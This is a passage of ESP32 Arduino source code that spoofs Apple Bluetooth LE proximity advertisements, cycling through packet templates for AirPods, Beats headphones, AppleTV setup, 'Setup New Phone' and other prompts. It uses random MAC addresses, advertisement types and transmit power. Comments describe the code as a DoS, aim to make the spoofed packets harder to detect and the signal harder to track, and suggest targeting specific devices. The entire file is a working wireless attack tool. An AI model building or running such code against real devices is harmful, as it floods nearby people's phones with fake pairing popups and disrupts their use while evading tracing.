0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 31 | // Beats X 32 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 33 | // Beats Solo 3 34 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 35 | // Beats Studio 3 36 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 37 | // Airpods Max 38 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 39 | // Power Beats Pro 40 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 41 | // Beats Solo Pro 42 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 43 | // Airpods Pro 44 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 45 | // Airpods Gen 2 46 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 47 | // Beats Flex 48 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 49 | // Beats Studio Buds 50 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 51 | // Betas Fit Pro 52 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 53 | // Airpods Gen 3 54 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 55 | // Airpods Pro Gen 2 56 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 57 | // Beats Studio Buds Plus 58 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 59 | // Beats Studio Pro 60 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 61 | // Airpods Pro Gen 2 USB-C 62 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x24, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 63 | // Beats Solo 4 64 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x25, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 65 | // Beats Solo Buds 66 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x26, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 67 | // Software update (as of iOS 26 on 2025-09-17. See: 68 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x2e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 69 | // Powerbeats fit 70 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x2f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 71 | }; 72 | 73 | /* 74 | These are more general home devices 75 | It seems these can work over long distances, especially AppleTV Setup 76 | */ 77 | const uint8_t SHORT_DEVICES[][23] = { 78 | // AppleTV Setup 79 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 80 | // AppleTV Pair 81 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 82 | // AppleTV New User 83 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 84 | // AppleTV AppleID Setup 85 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 86 | // AppleTV Wireless Audio Sync 87 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 88 | // AppleTV Homekit Setup 89 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 90 | // AppleTV Keyboard Setup 91 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 92 | // AppleTV Connecting to Network 93 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 94 | // Homepod Setup 95 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 96 | // Setup New Phone 97 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 98 | // Transfer Number 99 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 100 | // TV Color Balance 101 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 102 | // Vision Pro 103 | {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x24, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}, 104 | }; 105 | 106 | void setup() { 107 | Serial.begin(115200); 108 | Serial.println("Starting ESP32 BLE"); 109 | 110 | BLEDevice::init("AirPods 69"); 111 | 112 | // Increase the BLE Power to 21dBm (MAX) 113 | // https://docs.espressif.com/projects/esp-idf/en/stable/esp32c3/api-reference/bluetooth/controller_vhci.html 114 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER); 115 | 116 | // Create the BLE Server 117 | BLEServer *pServer = BLEDevice::createServer(); 118 | pAdvertising = pServer->getAdvertising(); 119 | 120 | // seems we need to init it with an address in setup() step. 121 | esp_bd_addr_t null_addr = {0xFE, 0xED, 0xC0, 0xFF, 0xEE, 0x69}; 122 | pAdvertising->setDeviceAddress(null_addr, BLE_ADDR_TYPE_RANDOM); 123 | } 124 | 125 | void loop() { 126 | 127 | // First generate fake random MAC 128 | esp_bd_addr_t dummy_addr = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 129 | for (int i = 0; i < 6; i++){ 130 | dummy_addr[i] = random(256); 131 | 132 | // It seems for some reason first 4 bits 133 | // Need to be high (aka 0b1111), so we 134 | // OR with 0xF0 135 | if (i == 0){ 136 | dummy_addr[i] |= 0xF0; 137 | } 138 | } 139 | 140 | BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); 141 | 142 | // Randomly pick data from one of the devices 143 | // First decide short or long 144 | // 0 = long (headphones), 1 = short (misc stuff like Apple TV) 145 | int device_choice = random(2); 146 | if (device_choice == 0){ 147 | int index = random(22); 148 | #ifdef ESP_ARDUINO_VERSION_MAJOR 149 | #if ESP_ARDUINO_VERSION >= ESP_ARDUINO_VERSION_VAL(3, 0, 0) 150 | oAdvertisementData.addData(String((char*)DEVICES[index], 31)); 151 | #else 152 | oAdvertisementData.addData(std::string((char*)DEVICES[index], 31)); 153 | #endif 154 | #endif 155 | } else { 156 | int index = random(13); 157 | #ifdef ESP_ARDUINO_VERSION_MAJOR 158 | #if ESP_ARDUINO_VERSION >= ESP_ARDUINO_VERSION_VAL(3, 0, 0) 159 | oAdvertisementData.addData(String((char*)SHORT_DEVICES[index], 23)); 160 | #else 161 | oAdvertisementData.addData(std::string((char*)SHORT_DEVICES[index], 23)); 162 | #endif 163 | #endif 164 | } 165 | 166 | /* Page 191 of Apple's "Accessory Design Guidelines for Apple Devices (Release R20)" recommends to use only one of 167 | the three advertising PDU types when you want to connect to Apple devices. 168 | // 0 = ADV_TYPE_IND, 169 | // 1 = ADV_TYPE_SCAN_IND 170 | // 2 = ADV_TYPE_NONCONN_IND 171 | 172 | Randomly using any of these PDU types may increase detectability of spoofed packets. 173 | 174 | What we know for sure: 175 | - AirPods Gen 2: this advertises ADV_TYPE_SCAN_IND packets when the lid is opened and ADV_TYPE_NONCONN_IND when in pairing mode (when the rear case btton is held). 176 | Consider using only these PDU types if you want to target Airpods Gen 2 specifically. 177 | */ 178 | 179 | int adv_type_choice = random(3); 180 | if (adv_type_choice == 0){ 181 | pAdvertising->setAdvertisementType(ADV_TYPE_IND); 182 | } else if (adv_type_choice == 1){ 183 | pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); 184 | } else { 185 | pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); 186 | } 187 | 188 | // Set the device address, advertisement data 189 | pAdvertising->setDeviceAddress(dummy_addr, BLE_ADDR_TYPE_RANDOM); 190 | pAdvertising->setAdvertisementData(oAdvertisementData); 191 | 192 | // Set advertising interval 193 | /* According to Apple' Technical Q&A QA1931 (https://developer.apple.com/library/archive/qa/qa1931/_index.html), Apple recommends 194 | an advertising interval of 20ms to developers who want to maximize the probability of their BLE accessories to be discovered by iOS. 195 | 196 | These lines of code fixes the interval to 20ms. Enabling these MIGHT increase the effectiveness of the DoS. Note this has not undergone thorough testing. 197 | */ 198 | 199 | //pAdvertising->setMinInterval(0x20); 200 | //pAdvertising->setMaxInterval(0x20); 201 | //pAdvertising->setMinPreferred(0x20); 202 | //pAdvertising->setMaxPreferred(0x20); 203 | 204 | // Start advertising 205 | Serial.println("Sending Advertisement..."); 206 | pAdvertising->start(); 207 | delay(delayMilliseconds); // delay for delayMilliseconds ms 208 | pAdvertising->stop(); 209 | 210 | // Random signal strength increases the difficulty of tracking the signal 211 | int rand_val = random(100); // Generate a random number between 0 and 99 212 | if (rand_val < 70) { // 70% probability 213 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER); 214 | } else if (rand_val < 85) { // 15% probability 215 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 1)); 216 | } else if (rand_val < 95) { // 10% probability 217 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 2)); 218 | } else if (rand_val < 99) { // 4% probability 219 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 3)); 220 | } else { // 1% probability 221 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 4)); 222 | } 223 | } 224 | --------------------------------------------------------------------------------